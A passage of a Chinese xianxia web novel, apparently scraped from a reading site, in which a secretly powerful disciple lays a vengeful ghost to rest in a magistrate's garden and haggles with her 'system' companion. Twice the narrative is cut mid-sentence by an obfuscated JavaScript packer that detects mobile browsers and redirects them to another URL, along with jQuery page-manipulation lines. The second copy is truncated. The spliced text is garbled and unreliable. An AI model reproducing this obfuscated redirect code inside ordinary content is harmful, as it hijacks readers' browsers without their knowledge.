荀临笑笑:“那你还有没有别的想补充的?” 难得,看在他们已经接近真相的份上,岑无忧决定再给他们一点提示。 她道:“师兄,一符二阵三术法,这邪修待在贺府肯定也要做点什么吧?现在去找找,说不定我们还能找到别的线索呢。” 【叮~】009愉快闪现,【气运之女光环生效了,触发“一语成谶”效果。宿主,听老婆的话会发达哦~】 岑无忧一顿。 老婆? 老婆婆? ……说她老?? 岑无忧对万俟崖发起死亡凝视。 万俟崖皱眉,在脑子里低声道:【别这么轻佻。】 忽而又感觉到一道死亡视线,抬眼看去,岑无忧正面无表情地盯着他,一下一下咀嚼枇杷的动作无端让他后背凉飕飕的。 他好像……没说什么吧? 听了岑无忧的建议,荀临很高兴地抬手揉了揉小师妹的脑袋,“小师妹果然很聪明。” 综合所有推论,荀临拍板道:“无论是哪种可能,贺濉都没有表面那么简单。这几天我和你们师姐一起盯贺濉。师弟,你负责盯贺彦兒。师妹你有时间的话可以多观察观察上官夫人,但以你的安全为重。” 万俟崖和加欣合点头:“可以。” 岑无忧也没异议。 “折腾了一上午,大家也都累了,先养足精神,从今晚开始,我们各自去找线索。那先到这,都休息吧!”荀临宣布散会。 “小师妹,我送你回房间。”加欣合起身。 岑无忧应声好,溜溜达达出了荀临的厢房。 009只能望着小师妹的背影叹息:【宿主,你真的好不会表现。小师妹刚刚都看你了,你怎么也不知道附和附和呢?再不完成攻略任务,我没法获得大量能量,就不能把你送回原世界了啊。】 万俟崖反问:【既然只需要能量,那我修为晋升后把能量给你,不行吗?】 009:【不行哦,每个系统负责的项目不同,能量的转换属性也不一样呢。】 话都说到这了,009索性跟他科普:【我是恋爱系统,只有拥有恋爱好感值才能推动气运能量转换呢!如果你绑定的是001救世系统,那只要变强拯救世界就可以积累能量。如果绑定的是002反派系统,那只要灭世或者抢夺气运就能获得大量能量~当然,我们还有炮灰拯救系统,配角上位系统,世界线纠正系统……所有系统里,只有我的任务完成率高达90%!匹配到我,你运气已经很不错了!】 万俟崖:“……” 真的吗?听这个介绍,他怎么宁可绑定002呢:) 回到东厢房,打发走加欣合,岑无忧往榻上一躺,蹬掉鞋,枕着胳膊打了个哈欠。 对贺家有什么阴谋,接下来要做什么,甚至能不能完成任务,岑 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天气晴好时,阿娘就提着水在园子里给她浣发,挽起长袖,露出细腻的胳膊,先用篦子给她通发,梳顺了,在用水瓢打上一瓢温水,细细地浇在她发顶,用皂荚搓出沫子,仔细地给她揉搓。 她总嚷嚷着,“阿娘!眼睛看不见了!”“阿娘,水进我耳朵里了!” 阿娘嗔她作怪,又用帕巾给她擦拭干净。 那时的日头晒得脖颈、手脚都暖暖的。叫春的猫趴在墙头,有一声没一声地叫唤着。鸡在圈里啄米,不时“咯咯”两声。侍女将洗净的布被晾晒起,用棒槌拍打着布面,“噼啪”作响。 她抬眼看日光,那太阳一圈一圈的发晕,刺得人睁不开眼。 仙人太远,凡人百年。 都比不过春生夏死的蟪蛄,尽兴鸣叫,无忧无虑,快活而去。 一颗发着幽光的小球从岑无忧身内钻出,在空中绕了一圈,又飞回岑无忧耳畔,贴着她压扁的发髻蹭了蹭。 “做什么?”闭着眼睛的岑无忧出声。 001道:【宿主,你在想什么?怎么突然感觉你……有点怪怪的。】 “没有。” 001:【骗统是会变成长鼻子的!】 岑无忧沉沉地笑了起来。 001飞起来,绕着她转圈圈:【虽然不知道你为什么怪怪的,但你说出来,说不定我可以帮你解决呢!】 静了一会儿,岑无忧慢悠悠问:“天生万物都有来处,001,你的来处是什么?” 001:【主神创造了我们,我们的使命就是维持各个世界的稳定运行~】 岑无忧:“那为什么还有002这样灭世的反派系统呢?” 001:【反派系统不是主神创造的,也不受主神控制,它是由毁灭的BUG代码组成……嗯……你可以理解为,002是天生魔胎,而我,天生灵珠!使命就是要打败002这个大坏蛋!】 岑无忧笑:“万物阴阳和合,盛极必衰,合久必分,此消彼长,你和002兴许只是阴阳双极的两面。” 001严肃起来:【002是个大坏蛋!!超级大坏蛋!!他的存在就是为了打破世界平衡,制造灾难!!你是我的宿主,你不能帮002那个大坏蛋说话!】 岑无忧笑:“只是和你辩辩道理。” 001倏地钻回了岑无忧身体里,气急败坏:【不听不听!王八念经!!】 这么一打岔,001也就忘了再追问自己刚刚说的话了,而岑无忧笑着摊开了手脚,将脑海里那些久远地画面缓缓抹去,直到灵台恢复清明平和。 15. 第十五章 第十五章 岑无忧睡了个安稳觉,一觉醒来天已经黑了。 屋外的婢女已经点起了灯,见她还没有醒,便没有来打扰她,只替她关了窗户,将门口灯笼点得亮一些。 岑无忧打着哈欠去拉开门,正好送饭的婢女提着餐盒走来,见她醒了,欠了欠身道:“女公子,荀公子他们用过膳了,见您还睡着,便叫奴婢给您送些饭菜来。” “多谢。” “女公子客气了。” 婢女走进她房间,先给她点上灯,将餐盒里的饭菜端出来。 相较正午吃得隆重,晚餐就相对简单了。 一碗羹粥,一道糖拌春藕,一道齑菜和一碗杏酪。 时人虽不讲究过午不食的规矩了,但晚餐仍是吃得清淡简便。 好吃是好吃,但一顿不吃肉岑无忧就感觉吃了个寂寞。 婢女收拾了餐盘端下去,岑无忧正琢磨着要不要出去买个羊肉馍吃,忽听院子里有吱呀的推门声。 “你确定她是住这儿?”贺彦兒的声音低声说。 另一道声音谄媚道:“是的,小的特地问了管家,说男客住在西厢房,女客都在东厢房。” “住的哪间房?” “少爷,这间亮着灯,肯定是这间。” 不一会儿,房门上映出了两道身影,一道敲了敲门,夹着嗓子道:“娇娇儿,是我啊,你在里面吗?” 不见回答,贺彦兒又喊了一次:“娇娇儿?” “不在里面?”贺彦兒狐疑。 小厮怂恿:“少爷,要不推开门看看?” 贺彦兒便将门推开了一道门缝,依旧夹着嗓子喊:“娇娇儿?” “哎呦!” 小厮忽然呼痛,捂住了脑袋。 贺彦兒被他吓一跳,瞪他:“鬼叫什么!” “少爷,刚刚好像有什么在打我的头。”小厮摸了摸作痛的后脑勺。 “这里连个人影都没有,你……” 贺彦兒话还没说完,又是“砰”一声。 贺彦兒跟着痛呼一声,捂住了脑袋,“谁!谁偷袭本少爷!给我站出来!” 一道清亮的笑声从树上传来:“你不是在找我吗?” 贺彦兒认出了声音,顿时眼睛一亮:“娇娇儿,是你吗?” “是我啊~”那声音应着。 贺彦兒仰头往树上看,“娇娇儿,你在哪儿啊?我怎么看不到你啊?” 那声音忽然好似又更远了点,变成从院子外传来:“我在这啊,贺公子,你不是在找我吗?快过来呀~” “和我玩捉迷藏是不是?”贺彦兒也顾不得脑袋上的疼了,痴笑了起来,“淘气!等我抓到你,你可就跑不掉了!” “是吗?那贺公子,你快来找我啊!” 那声音又更远了。 贺彦兒痴痴地喊着“娇娇儿”,拔足就追了出去。 小厮提着灯笼,也跟上了贺彦兒的脚步。 “少爷,少爷,您慢些跑!”小厮追喊。 那娇俏的声音一直不停:“我在这里,你怎么还没追上来呀?” 贺彦兒穿过两道院子,又穿过回廊,追得气喘吁吁,“娇……娇娇儿,你怎么这么能跑!” “呵呵呵呵呵……贺公子,你再不过来,我可就不等你啦!” “我……我来,我来!” 小厮看着那道黑漆漆的月洞门,咽了口口水,“少……少爷,前面就是园子了,要,要不还是别进去了吧,这都晚上了,说……说不定……” “怕什么?这个家里难道还有什么我去不了的地方?”贺彦兒凶了他一句。 小厮心有戚戚,也只能讪讪闭了嘴。 在那银铃般的娇笑声和呼唤声中,贺彦兒□□着,喊着“娇娇儿”,头也不回地闯进了那漆黑幽深的月洞门里。 “娇娇儿?” 园中草木幽深,皎洁皓月投下银光。 贺彦兒走进草丛里,扫开树木,痴痴地喊着:“娇娇儿?娇娇儿,我都看到你了,别躲了,快出来吧!” 风声呼啸,树木齐齐作响,小厮倏地感觉后背一凉,猛地回过头去,“谁!” “又鬼叫什么!”贺彦兒不耐烦了。 小厮两股战战,举着的灯笼也一个劲地抖,挤出一张比哭还难看的笑脸,“少,少爷,我刚刚好像看到,看到一个披……披头散发的,从后面跑了过去……” “肯定是娇娇儿!” 贺彦兒色迷心窍,闻言转身拔腿去找。 “娇娇儿,娇娇儿?” 黑云遮挡银月,花园彻底黑了下来,只有小厮手里提着的灯照着脚下方寸之地。 一阵凉风毫无缘由地从后背直直吹了过来,那不像是风,就像是有人在对着脖颈吹气。 小厮肩膀僵硬,木偶般缓缓转过头,毫无防备的,一张煞白的女人脸带着诡异的笑直直贴在了他眼前。 “啊————!!” 小厮惊声大喊,手里的提灯也扔飞了出去,砰一声掉落在地,灯笼里的烛光霎时灭了。 “鬼叫什……” 贺彦兒的话戛然而止。 他回头看,夹道空无一人,身后哪还有什么小厮?只有望不到底的一片漆黑。 冷风一吹,贺彦兒终于觉得不对劲了,他小心翼翼蹲下身,摸到那灯笼一把捡起,两只手握着棍子,颤声道:“谁?谁在我家装神弄鬼!” “呵呵……呵呵呵呵呵……贺郎,是我啊……” 那声音不再跑了,反而由远及近,一声一声喊着“贺郎,贺郎”。 “贺郎,你不是答应娶我为妻的吗?” “贺郎,这里好冷啊……你怎么也不来看看我?” “贺郎……你把我的衣服丢哪里去了?” 贺彦兒终于被那幽怨的声音吓破了胆,瘫倒在地,拼命踢着腿大喊:“不是我!不是我!滚啊!滚开!滚开!” “贺郎……”那声音娇滴滴的,嫩得能掐出水来,毫无征兆的,陡然转厉,“贺郎!就是化作鬼,我也认得你!” 一张惨白的脸像被抛下般从半空中直直落下,砸在了贺彦兒面前。 那是一张女人的脸,却只有一个头,头之下,只有一团肉球般的东西。两道血泪从脸上落下,“贺郎……我等你,等得好苦啊!” “啊啊啊啊—————” 惊恐的吼声划破天际。 可花园却好像被装入了一个漆黑的套子里,没有任何光亮和人迹。 黑夜之上,一道身影站在半空中,皎月亮起,照出了飘逸的发带和抹额,衣袂翩翩,宛若仙人。若眼前不是那样厉鬼索命的情景,说是月神显灵也不为过。 那女人披散的长发冲天而起,如同一根根绳索,在嚎叫声中猛地刺向贺彦兒。 下一秒,一个大阵从地表亮着光如同防御网般冲天而起。女人惨叫一声,被重重撞开,高竖的长发倏忽落下。她形同皮球般被撞向围墙,发出“嗵”的一声巨响,连身上如有实质的怨气都被撞散了不少。 她不甘,她愤恨,她咒怨,凄厉地跃起,嘶嚎着又向贺彦兒撞去。 贺彦兒裆下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406143|200520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片滚烫潮湿,恨不得两眼一翻晕过去,可他偏偏被养得身强体健,胆要被吓破了也仍意识清醒。 他看不见那大阵为护他亮起的光,只看得见那女鬼嘶吼着又冲向了他。 一个叫得尖锐凄厉,一个叫得嘶哑难听。 岑无忧在看见大阵亮起时就意识到有灵力波动,荀临他们马上会找过来了。 她脚尖一点,身影比鬼魅还莫测,倏忽到了二人身后。 岑无忧道:“过来。” “我不甘心啊!!我不甘心!!” “有辟邪阵在,你伤不了他。” 女人眼睑处落下的血泪更多了,扭曲的五官布满了仇怨,“就算同归于尽……” “同归于尽不了,你就算魂飞魄散也至多吓吓他。” 见她俩旁若无人地闲聊起来,贺彦兒反应过来,愤怒道:“你们!你们是一伙的!” 黯淡蒙昧的花园侧角忽然出现一线亮光,像破了洞的棉布娃娃露出了一角絮绒。但那光亮很快又被漆黑蒙上,随即又出现了更多的白痕。 岑无忧轻叹了口气,“你的怨阵困不了多久了。” 女人仍不甘心,咆哮一声,那大张的嘴几乎能看见嗓子眼,她飞蛾扑火般撞向了贺彦兒。 贺彦兒也跟着惨叫,拼命往后退,吓得头发几乎也要根根倒竖了。 岑无忧手一伸,手腕在空中绕了一圈,又往后一拔,“回来!”流星般撞向贺彦兒的女人瞬间被拽回了岑无忧身边。 “我会给你报仇。”她说。 “报仇……报仇……” 那女人喃喃着,一滴滴血泪掉在地面上,如同鲜红的蜡烛飞溅在地,随即又化为雾气消散。 岑无忧双手掐决,清光一现,星星点点飞入了女人身体。 “你已滞留人间七天,再不入轮回,就要变成孤魂野鬼了。” 那咒术飞入女人身体后,她眼尾的血痕渐渐消散了,凌乱扭曲的五官和长发也渐渐恢复了原状。 大风忽起,卷做一团的树叶将她裹住,回旋,倏忽,一道亭亭玉立的身影出现。 女子梳着一个挽髻,眼圆且大,模样清秀可人,不过二八年华的样子,身着一条青绿长裙,像个无忧无虑的姑娘。 她低头看看自己,神情怔愣。 “你的仇,我替你报,入轮回去吧。”岑无忧说。 女子脸上大颗大颗的泪珠滚落了下来,她矮身行一礼,“多谢恩人……我叫小梅,还有一个双生子妹妹叫小莲,我存了一些金银放在东北角的梅树下,还望恩人能帮我将那些物什交给我妹妹……若有来生,小梅定当结草携环,报答恩人……” 那回旋的风又吹了起来,裹住她,连同一地的树叶向半空中飞去。 贺彦兒已经看呆了,两眼怔怔地望着小梅消失的方向。 岑无忧问他:“你认识她吗?” 贺彦兒疯狂摇头否认:“没见过!我没见过啊!” 岑无忧往白痕扩大的边缘看了一眼。 小梅一走,结界马上要破了。 她抬指向贺彦兒一弹,一道灵光撞向他眉心,还想说什么的贺彦兒两眼一翻,直挺挺倒了下去。 在结界破开前,岑无忧身影也转瞬消失在了黑夜里。 “噼啪!” 如同镜面破裂的脆响声响起,下一秒三道身影兔起鹘落,跃进了结界内。 怨阵散去,花园上的结界也一点点褪去,虫鸣声重新响起,清凌凌的月光也落在了花木上。 “那里有人!”加欣合指向地上黑影方向喊道。 16. 第十六章 第十六章 惜书轩,下人兢兢战战跪了一院。 房间里,上官氏坐在床侧,抱着儿子的身体,神色无措,轻声唤着:“彦兒?彦兒?” 荀临把过脉,将贺彦兒的手放回锦被下,安抚道:“夫人不用担心,贺公子只是昏过去了,身体并无大碍。” 上官氏身形娇小,容貌也苍白柔弱,她垂下头,眼泪如断线珠子般往下落,低声道:“今日多谢恩人,若不是恩人在,真不知还会发生什么……” “不必多谢。”荀临道,“不知贺大人现在可在府中?” 他话音刚落,门外就传来急促脚步声和管家说话声。 “……几位仙君看过了,说只是受了惊吓晕过去……” 门口的婢女掀起帘子,通传道:“夫人,老爷来了。” 不一会儿,贺濉大步从门外走进,面容严肃,步履匆匆。 他的目光先落在上官氏身上,定了一定后,转向荀临,抬手一礼,语气和缓:“今日多谢几位仙君,我这不争气的小儿给诸位添麻烦了。” “贺大人哪里话。”荀临起身让开床尾的位置,又道,“贺公子晕过去约莫有一刻钟了,我们赶到时,也不见其他人。还请贺大人查一查,贺公子怎么这个时辰独自去了园子里?” 贺濉面色沉沉,回头对管家道:“去把来喜叫来。” “是。”管家躬身退了下去。 过了不多会儿,院子外喧闹起来。管家匆忙从外面走了进来,面色发白,先朝众人逐一行礼,随即道:“老爷,在园子里的一口井中发现了来喜。人……人已经没了。” 贺濉脸色一变。 上官氏听了这话惊吓不轻,当即呼吸急促起来,拿帕巾的手捂着胸口,一口气没喘上来,两眼一翻,竟也跟着晕了过去。 房内顿时一片兵荒马乱。 贺濉变了脸,搂住妻子,冲下人厉声道:“快传郎中!” 半炷香后,郎中匆匆赶来。 好在加欣合提前喂上官氏吃了一粒丹药,先稳住了呼吸。 郎中把过脉,叹了口气,欲言又止,只说好生静养,不可再受惊。 内院有女眷休息,荀临和万俟崖不好再待在那儿,干脆去园子里查验了那来喜的尸身。 来喜是溺毙在井中,从踪迹看,恐怕是慌不择路,自己跌进了井里,并非是邪祟加害。 荀临想不明白。 怨阵是厉鬼以怨气所化之阵。怨阵出,非死即伤。怨气不散,怨阵难解。 可如今怨阵中的人,一个仅仅昏厥,另一个又轻巧死于自溺,这实在是说不通。 难道当真是他们运气格外好? 荀临再次开了灵鉴天眼寻找蛛丝马迹。 怨阵已散,若是那怨鬼仓促逃走,他也总能看出一二踪迹,可偏偏园子里剩下那微末一点怨气皆四散开,无论怎么看,都好像那怨鬼凭空消失了。 这真是比活见鬼还活见鬼! 荀临在园子里反复查验了两次,什么都没查出来,脸色变得极其难看。 难道无论是鬼还是人,修为都在筑基之上?可若是修为高深,那就不该弄出那么大动静了! 眼前迷雾重重,云遮雾掩,即便心态稳如荀临,心里也不暗恼,为何自己修为进益如此缓慢? · 趁着外边乱哄哄的,谁也顾不上谁,岑无忧叼着羊肉饼,几个兔起鹘落回了院子里。 看着宿主干完了一出“大事”,又若无其事地出去买了羊肉饼回来,系统的小心脏都嗵嗵的,它小声道:【宿主,你不该用轮回术的。】 岑无忧含糊不清地“嗯”了一声。 001一听就知道她根本没当回事,愁得球球都快长皱纹了,【宿主,用禁术扰乱因果,是会干扰飞升的。一个怨女而已,用了轮回术,她转世后的因果可就跟你绑在一块了。】 岑无忧打开门,进了房间,点上蜡烛,又含糊“唔”一声。 001怕再被关小黑屋,但又不能不说,只能围着她打转,吞吞吐吐道:【宿主……即便任务完成后我也只能帮助打开天门,至于能不能飞升还是得靠你自己了……我是觉得,除了任务以外,咱们能少招惹麻烦就少招惹,免得飞升的时候受阻……】 “知道了。”她不耐烦地说。 和她已经相处了两个年头,001很清楚,她口中的“知道了”和“好的”是两回事。 “知道了”是“你说得有道理,但我不打算听,所以别啰哩巴嗦了”,“好的”是“行吧,今儿个心情好,我勉强给你三分面子”。 想它曾经也是叱咤各个位面,系统界的一姐,如今地位混得还不如皇帝身边的小太监,真是让统落泪。 不过,好吧。 001叹口气:【宿主,那你用了轮回术,还进了怨阵,荀临他们会不会查出你的踪迹?】 岑无忧撇嘴,“他们有那么厉害的话,寻山派现在就不是个末流小宗门了。” 001自动翻译一下:我不是说他不行,我是说整个寻山派都是辣鸡! 001很愁啊!愁宿主修为太高,系统机制对她来说没有一点威胁性。还愁宿主身边的队友全员菜鸡互啄,非常拖任务后腿! 它只能鞠躬尽瘁,扮演好谄媚小太监:【宿主,他们能耐是不行,既然如此,你这么心地善良,貌美如花,和蔼可亲,要不出手帮帮他们吧?不然以他们的进度,不知道猴年马月才能完成任务回山了,呜呜呜!】 “你想让我帮他们?” 【嗯嗯嗯!】系统小鸡啄米地在她面前疯狂上下晃。 “要我帮忙,总得给点什么吧?” 【宿主~你可是渡劫期的大佬,杀鸡焉用宰牛刀,都不用你出手~我只是希望你给荀临他们一点线索提示,帮他们稍微稍微快一点把这个任务做完嘛~】它夹夹地蹭宿主脑袋。 岑无忧微笑,“上庙里拜神还知道上柱香呢,你就叭叭两句?” 【那……那……这样吧宿主!以后我每周从系统商城里给你兑换一坛神仙倒!】 “五坛。” 【!!宿主,两年了,你总共只做了一个入门任务,积分早就用光光了,兑换一坛都得我倒贴!!五坛怎么可能!!】 “四坛。” 【三坛!】 “好,成交。” 001:【?】 她怎么答应得这么快,早知道报两坛了!! . 没有查到什么有用的线索,几人回了正厅。 贺濉坐在主位上,头疼地撑着额头,脸色极其难看。 小厮小心翼翼地端上茶盏,还没放下,贺濉一扫袖便摔了杯盏,一拍桌案,难忍怒火,“究竟是什么人竟敢在我府中这般放肆!” 小厮吓得立刻跪倒在了地上,瑟瑟发抖。 荀临对身后奉茶的下人摆了摆手,示意他们下去,缓声道:“贺大人,只怕在贵府作乱的不是人,是邪祟。” 贺濉一怔,脸上的惊疑不似作伪,“此话怎讲?” 不知贺濉是揣着明白装糊涂,还是真不知道。 索性已经打草惊蛇,荀临干脆便打了一记直球,将近日的疑点一一说来,只不过顾忌着体面,没有直言对贺家的怀疑。 说时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他问万俟崖:“万俟师弟,你条理一贯清晰,今晚的怨阵你怎么看?” 他言简意赅:“两种可能。” “师弟尽管说。” “要么是一出苦肉计,有意将贺彦兒撇清关系,变成受害者。要么,是那邪修见势不好已经遁逃,以至于某些本可以压制的东西产生了反噬。” 荀临微微笑道:“若是苦肉计,便是此地无银三百两。若是反噬,那便是……更好不过了。” 万俟崖淡淡道:“如果是苦肉计,贺濉能这么坦然地让我们搜府,恐怕也什么都搜不到了。” 荀临微叹:“师弟说的未尝不是我所想的……罢了,凡事做过总有痕迹,走吧,先查了再说。” 走出了长廊,一南一北两个方向,万俟崖下意识往厢房走,见荀临走向前院,他脚步一顿:“大师兄。” “怎么了?”荀临回头。 万俟崖心底隐隐有些不安,又兴许是他的错觉,他迟疑道:“一直不见小师妹,我先去看看她醒没醒。” 荀临眼底浮起了些许笑意,他点头:“也好,还不知她有没有起来用晚食。若是路上看到你师姐,你叫她来前院寻我。” “好。” 万俟崖应下,转身便大步往后走去。 风将少年衣摆吹得飘扬,他身形挺拔,朝黑夜走得大步流星。 荀临负手望着,不由笑着感慨,真是年轻蓬勃啊……